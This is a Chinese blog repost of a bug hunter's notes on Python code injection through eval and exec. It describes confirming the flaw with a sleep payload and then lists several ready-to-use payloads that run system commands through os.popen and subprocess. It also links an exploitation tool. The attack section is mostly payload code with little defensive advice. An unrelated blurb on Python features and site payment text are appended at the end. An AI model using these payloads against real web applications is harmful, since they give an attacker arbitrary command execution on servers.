以下关于python中命令注入_【奇技淫巧】python代码注入

本文探讨了Python代码注入漏洞,重点介绍了eval和exec函数的安全风险,通过示例代码展示了漏洞利用方式,并提到了检测方法。作者分享了验证payload和一个利用工具,同时提醒在特定场景下可能需要对字符进行URL编码。
摘要由CSDN通过智能技术生成

原标题:【奇技淫巧】python代码注入

1.限号季,发一下之前的一点笔记写的很浅显希望各位大佬勿喷

.在挖掘某专属厂商的时候出现了一个有意思的地方,python代码执行

3db7954cdc8a79fa4c36f8702b4c2b6d.png

2.简单的进行验证一下可以发现sleep进行了执行

665f7147c024a5521e713ae33d5e2d08.png

3.基本确定存在python代码执行漏洞,但是如何利用呢,翻到一篇安全客的文章https://www.anquanke.com/post/id/84891 是一篇翻译的文章 ,简单的进行解析一下。

文章解析:

python代码注入的原因:

当你在网上搜索关于python的eval函数时,几乎没有文章会提醒你这个函数是非常不安全的,而eval函数就是导致这个Python代码注入漏洞的罪魁祸首。如果你遇到了下面这两种情况,说明你的Web应用中存在这个漏洞:

1. Web应用接受用户输入(例如GET/POST参数,cookie值);

2. Web应用使用了一种不安全的方法来将用户的输入数据传递给eval函数(没有经过安全审查,或者缺少安全保护机制);

3.除了eval函数之外,Python的exec函数也有可能让你的Web应用中出现这个漏洞

这是文章中给的示例代码

8653ee1f550840d82e1f28b45c62c091.png

总结来说就是使用了eval 和exec函数没有进行过滤

4.然后作者提供了几个验证的payload

1.通过返回时间验证

eval(compile('for x in range(1):n import timen time.sleep(20)','a','single'))上面已经给了验证

2.命令执行

eval(compile("""for x in range(1):n import osn os.popen(r'COMMAND').read""",'','single'))

970682f398a0841ff5827423f27d96f4.png

3.eval(compile("""__import__('os').popen(r'COMMAND').read""",'','single'))命令执行

4.__import__('os').popen('COMMAND').read命令执行

5.作者提供了一个python代码执行利用工具https://github.com/sethsec/PyCodeInjection ,自己简单测试了一下,没成功有兴趣的可以研究一下

作者提供的复现环境:

gitclone https://github.com/sethsec/PyCodeInjection.git

cd VulnApp

./install_requirements.sh

python PyCodeInjectionApp.py

6.作者还提到了一个场景当全局函数“__import__”会不起作用的时候可以利用for循环

eval(compile( """for x in range(1):n import osn os.popen(r'COMMAND').read""", '', 'single')) eval(compile( """for x in range(1):n import subprocessn subprocess.Popen(r'COMMAND',shell=True, stdout=subprocess.PIPE).stdout.read""", '', 'single')) eval(compile( """for x in range(1):n import subprocessn subprocess.check_output(r'COMMAND',shell=True)""", '', 'single'))

另外作者提到了一个点:为了将这个Payload发送给目标Web应用,你需要对其中的某些字符进行URL编码,但是我在进行验证的时候并不需要可能是场景的问题,具体的话还有很多需要探索的。

如何检测:这是作者提供的,我简单的理解就是hhh用burp或者扫描器检测

具体也去搜索了一下发现国内并没有多少python代码注入漏洞的文章,如果有更好的检测方法可以在下面留言返回搜狐,查看更多

责任编辑:

Python作为一种高级编程语言,有许多巧妙的设计和特性,被誉为“一种你会喜欢上的语言”(There's a lot you can do with just a few lines of code)。以下是几个Python的独特之处和一些常见的奇技淫巧: 1. **列表推导式 (List Comprehension)**:这是一种简洁的方式来创建新的列表,通常用于数据转换或过滤。例如 `new_list = [x * x for x in range(5)]` 创建了一个包含0到4的平方数的新列表。 2. **生成器 (Generators)**:生成器是惰性求值的序列,它们按需计算值,节省内存。比如 `gen = (x*x for x in range(10))` 可以逐个生成0到9的平方。 3. **装饰器 (Decorators)**:Python允许在运行修改函数或类的行为,通过定义接收其他函数作为输入并返回新函数的函数,如 `@staticmethod` 和 `@classmethod`。 4. **鸭子类型 (Duck Typing)**:Python并不关心类型的严格匹配,只要对象有需要的方法就认为它是可以的,这使得代码更具灵活性。 5. **元组解包 (Tuple Unpacking)**:可以用变量名直接接收元组或列表的元素,如 `(a, b) = ('Hello', 'World')`。 6. **魔法方法 (Magic Methods)**:特殊的双下划线开头和结尾的方法(如 `__init__`、`__str__`),用于实现自定义操作,如实例化、比较和显示。 7. **异常处理 (Exception Handling)**:Python的try-except-finally结构可以优雅地处理错误,提供了一种控制程序流程的方式。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值